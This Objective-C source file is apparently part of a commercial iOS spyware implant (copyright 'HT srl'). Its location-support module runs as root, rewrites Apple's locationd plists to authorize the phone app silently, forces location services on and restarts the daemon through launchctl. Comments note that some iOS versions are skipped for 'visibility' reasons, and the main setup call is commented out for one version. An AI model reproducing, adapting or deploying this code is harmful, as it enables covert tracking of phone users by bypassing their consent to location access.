core/Modules/Agents/RCSIAgentPositionSupport.m
/*
* RCSIAgentLocalizer.h
* Localizer Agent - through GPS or GSM cell
*
*
* Created on 07/10/2009
* Copyright (C) HT srl 2009. All rights reserved
*
*/
#import "RCSIAgentPositionSupport.h"
#define GPS_AUTH_ALREADY_FOUND 1
#define GPS_AUTH_CREATED 2
#define GPS_AUTH_FAILED 3
#define GPS_CLIENT_PLIST @"/var/root/Library/Caches/locationd/clients.plist"
#define MP_ENTRY_BUNDLE_KEY @"BundleId"
#define MP_ENTRY_BUNDLE_VAL @"com.apple.mobilephone"
#define MP_ENTRY_EXEC_KEY @"Executable"
#define MP_ENTRY_EXEC_VAL @"/Applications/MobilePhone.app/MobilePhone"
#define MP_ENTRY_AUTH_KEY @"Authorized"
#define MP_ENTRY_PROMPT_KEY @"PromptedSettings"
static _i_AgentPositionSupport *sharedInstance = nil;
@implementation _i_AgentPositionSupport
@synthesize mLastCheckDate;
#pragma mark -
#pragma mark - GPS Agent support
#pragma mark -
-(void)loadLocationd
{
char statment[256];
snprintf(statment,
sizeof(statment),
"/bin/launchctl %s \"/System/Library/LaunchDaemons/%s\"",
"load",
"com.apple.locationd.plist");
system(statment);
}
-(void)unloadLocationd
{
char statment[256];
snprintf(statment,
sizeof(statment),
"/bin/launchctl %s \"/System/Library/LaunchDaemons/%s\"",
gOSMajor == 5 ? "remove":"unload",
gOSMajor == 5 ? "com.apple.locationd":"com.apple.locationd.plist");
system(statment);
}
- (void)startGPSDaemon
{
[self loadLocationd];
}
-(void)restartGPSDaemon
{
[self unloadLocationd];
sleep(1);
[self loadLocationd];
}
#define LOCATION_SERVICE_IOS4_KEY @"LocationEnabled"
#define LOCATION_SERVICE_IOS5_KEY @"LocationServicesEnabled"
#define LOCATION_SERVICE_PLIST @"/var/mobile/Library/Preferences/com.apple.locationd.plist"
- (NSDictionary*)createMobilePhoneAppClientPlistEntry
{
NSDictionary *mpDictionary = nil;
NSNumber *one = [NSNumber numberWithInt:1];
switch (gOSMajor)
{
case 5:
{
mpDictionary =
[NSDictionary dictionaryWithObjectsAndKeys:one, MP_ENTRY_AUTH_KEY,
MP_ENTRY_BUNDLE_VAL, MP_ENTRY_BUNDLE_KEY,
@"", MP_ENTRY_EXEC_KEY,
@"", @"Registered",
one, MP_ENTRY_PROMPT_KEY,
nil];
break;
}
case 4:
{
mpDictionary =
[NSDictionary dictionaryWithObjectsAndKeys:one, MP_ENTRY_AUTH_KEY,
MP_ENTRY_BUNDLE_VAL, MP_ENTRY_BUNDLE_KEY,
MP_ENTRY_EXEC_VAL, MP_ENTRY_EXEC_KEY,
one, MP_ENTRY_PROMPT_KEY,
nil];
break;
}
case 3:
{
mpDictionary =
[NSDictionary dictionaryWithObjectsAndKeys:one, MP_ENTRY_BUNDLE_VAL, nil];
break;
}
}
return mpDictionary;
}
- (BOOL)saveClientsFile:(NSDictionary*)theDictionary andEntries:(NSDictionary*)theEntries
{
NSMutableDictionary *newClientsPlist = [NSMutableDictionary dictionaryWithCapacity:2];
if (theEntries != nil)
[newClientsPlist addEntriesFromDictionary: theEntries];
[newClientsPlist setValue: theDictionary forKey: MP_ENTRY_BUNDLE_VAL];
NSString *error;
id plist = [NSPropertyListSerialization dataFromPropertyList:(id)newClientsPlist
format:NSPropertyListBinaryFormat_v1_0
errorDescription:&error];
if([plist writeToFile: GPS_CLIENT_PLIST atomically:YES] == TRUE)
return TRUE;
else
return FALSE;
}
- (int)checkMobilePhoneAppClient:(NSMutableDictionary*)theClients
{
NSNumber *one = [NSNumber numberWithInt:1];
NSDictionary *allowedClients = [theClients objectForKey: @"KnownClients"];
if ([allowedClients objectForKey: MP_ENTRY_BUNDLE_VAL] == nil)
{
NSMutableDictionary *newclientsDict = [NSMutableDictionary dictionaryWithDictionary: allowedClients];
NSDictionary *appDict = [NSDictionary dictionaryWithObject:one forKey:MP_ENTRY_BUNDLE_VAL];
[newclientsDict addEntriesFromDictionary:appDict];
[theClients setValue:newclientsDict forKey: @"KnownClients"];
id plist = [NSPropertyListSerialization dataFromPropertyList:(id)theClients
format:NSPropertyListBinaryFormat_v1_0
errorDescription:nil];
if([plist writeToFile: LOCATION_SERVICE_PLIST atomically:YES])
return GPS_AUTH_CREATED;
else
return GPS_AUTH_FAILED;
}
else
return GPS_AUTH_ALREADY_FOUND;
}
- (int)checkAuthorizationiOS3
{
NSNumber *one = [NSNumber numberWithInt:1];
NSDictionary *appDict = [NSDictionary dictionaryWithObject:one forKey:MP_ENTRY_BUNDLE_VAL];
NSMutableDictionary *knowClientDict = [NSDictionary dictionaryWithObject: appDict forKey: @"KnownClients"];
if ([[NSFileManager defaultManager] fileExistsAtPath: LOCATION_SERVICE_PLIST] == FALSE)
{
id plist = [NSPropertyListSerialization dataFromPropertyList:(id)knowClientDict
format:NSPropertyListBinaryFormat_v1_0
errorDescription:nil];
if([plist writeToFile:LOCATION_SERVICE_PLIST atomically:YES] == TRUE)
return GPS_AUTH_CREATED;
else
{
return GPS_AUTH_FAILED;
}
}
NSMutableDictionary *clients = [NSMutableDictionary dictionaryWithContentsOfFile: LOCATION_SERVICE_PLIST];
if (clients == nil)
return GPS_AUTH_FAILED;
if ([clients objectForKey: @"KnownClients"] != nil)
{
return [self checkMobilePhoneAppClient: clients];
}
else
{
[clients addEntriesFromDictionary:knowClientDict];
id plist = [NSPropertyListSerialization dataFromPropertyList:(id)clients
format:NSPropertyListBinaryFormat_v1_0
errorDescription:nil];
if([plist writeToFile: LOCATION_SERVICE_PLIST atomically:YES])
return GPS_AUTH_CREATED;
else
return GPS_AUTH_FAILED;
}
}
- (int)checkMobilePhoneAppAuthorizationiOS4
{
NSDictionary *mpDictionaryentry = [self createMobilePhoneAppClientPlistEntry];
if ([[NSFileManager defaultManager] fileExistsAtPath: GPS_CLIENT_PLIST] == FALSE)
{
if([self saveClientsFile: mpDictionaryentry andEntries:nil] == TRUE)
return GPS_AUTH_CREATED;
else
{
return GPS_AUTH_FAILED;
}
}
NSDictionary *clients = [NSDictionary dictionaryWithContentsOfFile: GPS_CLIENT_PLIST];
if (clients == nil)
return GPS_AUTH_FAILED;
if ([clients objectForKey: MP_ENTRY_BUNDLE_KEY] != nil)
return GPS_AUTH_ALREADY_FOUND;
if ([self saveClientsFile: mpDictionaryentry andEntries: clients] == YES)
return GPS_AUTH_CREATED;
else
{
return GPS_AUTH_FAILED;
}
}
- (int)checkMobilePhoneAuthorization
{
int retVal = GPS_AUTH_FAILED;
switch (gOSMajor)
{
case 5:
{
/*
* not supported for visibility problem
*/
break;
}
case 4:
{
retVal = [self checkMobilePhoneAppAuthorizationiOS4];
break;
}
case 3:
{
/*
* not supported for visibility problem
*/
break;
}
}
return retVal;
}
- (BOOL)enableLocationService
{
NSNumber *one = [NSNumber numberWithInt:1];
NSString *lsKey = nil;
switch (gOSMajor)
{
case 5:
{
/*
* not supported for visibility problem
*/
return FALSE;
}
case 4:
{
lsKey = LOCATION_SERVICE_IOS4_KEY;
NSDictionary *lsDict = [NSMutableDictionary dictionaryWithContentsOfFile: LOCATION_SERVICE_PLIST];
if (lsDict == nil)
return FALSE;
NSNumber *lsVal = [lsDict objectForKey: lsKey];
if (lsVal == nil || [lsVal intValue] == 0)
{
[lsDict setValue:one forKey:lsKey];
id plist = [NSPropertyListSerialization dataFromPropertyList:(id)lsDict
format:NSPropertyListBinaryFormat_v1_0
errorDescription:nil];
return [plist writeToFile: LOCATION_SERVICE_PLIST atomically:YES];
}
return TRUE;
}
case 3:
{
/*
* not supported for visibility problem
*/
return FALSE;
}
}
return FALSE;
}
- (void)enableGPSPosition
{
[[NSFileManager defaultManager] createFileAtPath:GPS_FLAG_FILEPATH
contents:nil
attributes:nil];
}
- (void)disableGPSPosition
{
[[NSFileManager defaultManager] removeItemAtPath:GPS_FLAG_FILEPATH
error:nil];
}
- (BOOL)setupLocationService
{
BOOL retVal = TRUE;
//int gpsAuth = GPS_AUTH_FAILED;
[self disableGPSPosition];
/* XXX- disabled for 8.1.4
if ([self enableLocationService] == FALSE)
{
return FALSE;
}
gpsAuth = [self checkMobilePhoneAuthorization];
switch (gpsAuth)
{
case GPS_AUTH_FAILED:
{
retVal = FALSE;
break;
}
case GPS_AUTH_CREATED:
{
[self restartGPSDaemon];
[self enableGPSPosition];
break;
}
case GPS_AUTH_ALREADY_FOUND:
{
[self startGPSDaemon];
[self enableGPSPosition];
break;
}
}
*/
return retVal;
}
- (BOOL)setupWifiService
{
return TRUE;
}
#define POS_MAX_TIMEOUT 1
- (void)checkAndSetupLocationServices:(UInt32*)aFlag
{
NSDate *date = [NSDate date];
if (aFlag != NULL &&
([date timeIntervalSince1970] - [mLastCheckDate timeIntervalSince1970]) > POS_MAX_TIMEOUT)
{
[self setMLastCheckDate: date];
if (*aFlag & POS_MODULES_GPS_ENABLE)
[self setupLocationService];
if (*aFlag & POS_MODULES_WIF_ENABLE)
[self setupWifiService];
}
}
#pragma mark -
#pragma mark Class and init methods
#pragma mark -
+ (_i_AgentPositionSupport *)sharedInstance
{
@synchronized(self)
{
if (sharedInstance == nil)
{
[[self alloc] init];
}
}
return sharedInstance;
}
+ (id)allocWithZone: (NSZone *)aZone
{
@synchronized(self)
{
if (sharedInstance == nil)
{
sharedInstance = [super allocWithZone: aZone];
return sharedInstance;
}
}
// On subsequent allocation attemps return nil
return nil;
}
- (id)copyWithZone: (NSZone *)aZone
{
return self;
}
- (id)retain
{
return self;
}
- (unsigned)retainCount
{
return UINT_MAX;
}
- (oneway void)release
{
}
- (id)autorelease
{
return self;
}
- (id)init
{
Class myClass = [self class];
@synchronized(myClass)
{
if (sharedInstance != nil)
{
self = [super init];
if (self)
mLastCheckDate = nil;
}
}
return sharedInstance;
}
- (void)dealloc
{
[super dealloc];
}
@end